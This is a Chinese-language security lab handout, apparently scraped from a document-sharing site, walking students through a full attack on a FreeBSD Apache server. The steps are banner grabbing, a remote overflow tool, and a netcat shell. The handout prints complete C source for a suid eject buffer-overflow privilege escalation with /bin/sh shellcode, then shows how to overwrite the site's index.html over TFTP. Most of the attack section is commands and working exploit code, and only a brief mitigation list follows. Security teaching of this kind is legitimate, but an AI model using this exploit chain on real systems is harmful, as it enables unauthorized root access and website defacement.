SECB070011Web服务首页篡改.docx
- 文档编号:26147741
- 上传时间:2023-06-17
- 格式:DOCX
- 页数:19
- 大小:591.38KB
SECB070011Web服务首页篡改.docx
《SECB070011Web服务首页篡改.docx》由会员分享,可在线阅读,更多相关《SECB070011Web服务首页篡改.docx(19页珍藏版)》请在冰豆网上搜索。
SECB070011Web服务首页篡改
WEB服务首页篡改
SEC-B07-001.1
2010年4月
实验课件摘要
技术背景
ApacheHTTPServer是最流行的开放源码WEB服务器系统之一,它是由ApacheGroup开发、发布并支持的。
ApacheHTTPServer支持静态编译及动态模块加载2种方式,在其某些特定版本中的动态模块存在缓冲区溢出漏洞,攻击者会利用此漏洞达到对WEB服务器进行攻击或执行指定程序的目的。
实验目的
通过本实验使读者了解WEB服务器的安全漏洞以增强安全意识。
实验平台
攻击机(客户端):
Windows2000/XP/2003
目标机(服务端):
UNIXServer(FreeBSD)
实验工具
FreeBSD默认版本Apache远程溢出工具exbsd.exe
NetCat1.11forWindows(网络瑞士军刀)
TftpdServer
实验要点
1.FreeBSD本地提权
2.HTML文件修改
实验步骤指导
访问目标主机的HTTP服务
在学生试验机IE浏览器中输入http:
//目标试验机IP地址,访问目标实验机上的Web站点。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
让学生访问实验目标机的web地址,确认实验目标机上存在可以访问的Web服务器站点。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
探测目标主机WEB服务信息
让学生将实验课程提供的实验工具下载的本地目录,并在学生机上打开CMD命令行窗口;
在CMD命令行窗口中,将当前目录切换到下载的实验工具存放目录,如图所示:
E:
\SomeTools\netcat目录。
命令:
cdE:
\SomeTools\netcat
确认下载工具nc.exe存在当前目录,在CMD命令行中执行如下操作。
命令:
nc.exeIP地址80
输入如下命令:
GET/abcdefgHTTP/1.0
输入命令后连续两次回车,可以从返回中获取服务器版本信息。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
IP地址为实验目标机的IP地址,即Web站点的IP地址。
命令中的abcdefg是任意字符串,是不存在的页面,会引起404错误。
这么做的理由是404错误的返回页面内容比较少,便于查看。
返回信息中还包含目标服务器Web站点地址以及Web服务器使用的端口信息【通过使用命令,再次确认目标站点服务器】。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
用exbsd.exe尝试远程溢出
在CMD命令行中切换到exbsd.exe工具存放的目录,并执行如下操作:
命令:
exbsd.exe-t目标主机IP地址
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
因apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
如何使用特殊工具对目标计算机进行溢出攻击,了解溢出攻击后的效果,以及反馈信息。
通过移出攻击能够获取到目标服务器IP地址以及存在漏洞的端口信息,通过端口的访问能够获得连接目标计算机的权限。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
溢出成功,用NetCat连接
等待溢出攻击成功后,显示如下图所示信息:
再次使用nc.exe工具连接实验目标机;
命令:
nc.exe目标主机IP地址目标端口
连接上以后,我们尝试做如下操作,以验证连接实验目标机是否成功。
用id命令看当前帐户信息,看到uid=1001,gid=1001,是普通权限
用w命令看当前有谁在线,看到两个远程登录连接
用pwd命令看当前所在目录
用uname-a命令看当前操作系统的信息,看到是FreeBSD4.8Release版本,未打补丁
用cd/tmp命令切换目录至/tmp下,准备编写提权程序。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
Linux系统的基本操作命令请参考提供的Linux命令手册。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
提升权限
FreeBSD老版本上的eject程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。
eject程序具有suid位,在有问题的版本中未对用户输入的参数进行有效检测,导致溢出后eip指向精心构造的shellcode入口,进而提权成功。
编写提权代码
在连接实验目标机的命令行窗口中,进行提权代码编写:
命令:
cat>ex.c<<_EOF
注:
特别要注意开始的<<_EOF和最后的_EOF
在命令执行后,输入如下所示的代码:
#include
#include
#include
#include
#defineBOF_LEN1260
externchar**environ;
intmain(void){
charbuf[BOF_LEN];
char*ptr;
char*arg[4];
unsignedintret=0xbfbfeead;
charshellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
"\x80\xe8\xe4\xff\xff\xff/bin/sh";
charenvshell[4096];
memset(envshell,0x90,4096);
memcpy(envshell+4096-strlen(shellcode),shellcode,strlen(shellcode));
envshell[4096]=0x0;
memcpy(envshell,"VULN=",5);
putenv(envshell);
memset(buf,0x41,BOF_LEN-1);
*(unsignedint*)(buf+BOF_LEN-5)=ret;
*(buf+BOF_LEN-1)=0x0;
arg[0]="/usr/local/sbin/eject";
arg[1]="-t";
arg[2]=buf;
arg[3]=NULL;
execve(arg[0],arg,environ);
return(0);
}
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
在使用此方式编写代码时,不允许用户在输入错误代码后进行修改,只能再次执行命令从新进行代码输入。
为方便实验,代码输入可以采用拷贝/复制方式进行输入,首先将代码拷贝到txt文档上,并在txt文档上再次复制代码,在代码输入窗口中点击鼠标右键,将拷贝代码自动输入。
输入完成提权代码后,请一定以_EOF结尾,如图片所示。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
如何在Linux系统下进行C语言程序的开发,以及C语言程序的编译。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
编译提权代码,运行提权程序
在编写完成提权代码文件后,查看代码文件是否存在:
命令:
ls-alex.c
使用gcc命令对代码文件进行编译;
命令:
gcc-oexex.c
查看编译后的代码提权文件是否存在;
命令:
ls-alex
执行编译后的代码提权文件然后执行
命令:
./ex
查看当前用户被提权后的状态;
命令:
id
可以看到euid=0,
命令:
whoami
可以看到已经是root了。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
目前还不是完全的root权限,但是对于篡改首页来说已经够了。
Root权限的进一步提升可参考《Linux系统漏洞利用》的内容。
在Linux系统下执行文件,需要在可执行文件前“./”符号。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
篡改网站首页
寻找web服务器的配置文件存储路径
1、查找apache包的完整名称;
命令:
usr/sbin/pkg_info|grepapache
可以看到包完整名称为“apache-1.3.27_4”
2、查看apache安装的根路径;
命令:
/usr/sbin/pkg_info-p包完整名称
可以看到是/usr/local
3、查看配置文件所在的路径;
命令:
/usr/sbin/pkg_info-f包完整名称|grephttpd.conf
可以看到是%D/etc/apache/httpd.conf,其中的%D就是前面得到的/usr/local
综上,apache服务器的配置文件为/usr/local/etc/apache/httpd.conf
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
☞如何在Linux系统下进行指定文件名称,文件目录的查找,以及查找结果的输出。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
寻找网站页面文件存储路径
1、查找Web站点的页面根路径;
命令:
cat/usr/local/etc/apache/httpd.conf|grepDocumentRoot|grep-v“#”
可以得到的路径为:
/usr/local/www/data
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
☞如何在Linux系统下对指定文件的内容进行查找,并对查找内容进行输入。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
2、用切换目录到网站页面根路径;
命令:
cd/usr/local/www/data
3、查看Web站点首页是否在当前路径下;
命令:
ls-alindex.html
可以看到index.html在当前路径下。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
☞UNIX系统的命令行是大小写敏感的,因此输入命令及参数时注意区分大小写。
☞上面的命令中grep-v”#”的含义是排除含”#”的行。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
用Tftpd实用程序传输文件
使用下载的tftpd32.exe工具,将Web站点服务器上的index.html文件传输到本地学生机上。
在本地学生机上启动tftpd32.exe工具,如下如所示,设置传输到本地的index.html文件存放路径。
在nc.exe工具的窗口中将index.html传输到学生机本地。
进入tftp客户端程序
命令:
tftp
与学生机建立FTP连接:
命令:
connect学生机IP地址
设置传输模式为二进制传输
命令:
binary
将当前目录下的index.html文件传输到学生机。
命令:
putindex.html
我们可以在tftpd32.exe程序的LogViewer窗口看到传输信息,并在tftpd32.exe的同级目录中看到传学生机上的index.html文件。
修改index.html文件
1、用编辑工具打开index.html文件,如记事本,查找”
2、在
后面插入信息:3、查找页面编码,修改为简体中文(GB2312)
将修改后的index.html传输到远程主机
1、在执行nc.exe的窗口中将在学生机上修改后的index.html传输到Web站点服务器上。
进入tftp客户端程序【已经执行过,可以忽略】
命令:
tftp
与学生机建立FTP连接:
【已经执行过,可以忽略】
命令:
connect学生机IP地址
设置传输模式为二进制传输【已经执行过,可以忽略】
命令:
binary
将学生机上修改后的index.html文件传输到Web站点服务器的当前目录。
【需要将Web站点服务器上原有的index.html文件覆盖】
命令:
getindex.html
我们可以在tftpd32.exe程序的LogViewer窗口看到传输信息
查看修改后的页面
在学生机上的浏览器中再次输入http:
//实验目标机IP地址查看已经被篡改后的Web站点页面,如下图所示:
退出rootshell,断开连接
输入quit退出tftp客户端程序:
命令:
quit
退出通过溢出获得到Web站点服务器的rootshell
命令:
exit
再次输入exit断开连接
解决方案
1.对系统进行加固,更新有问题的服务程序
2.做双向ACL,拒绝非法端口访问
3.对有问题的内核打补丁或升级内核
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- SECB070011Web 服务 首页 篡改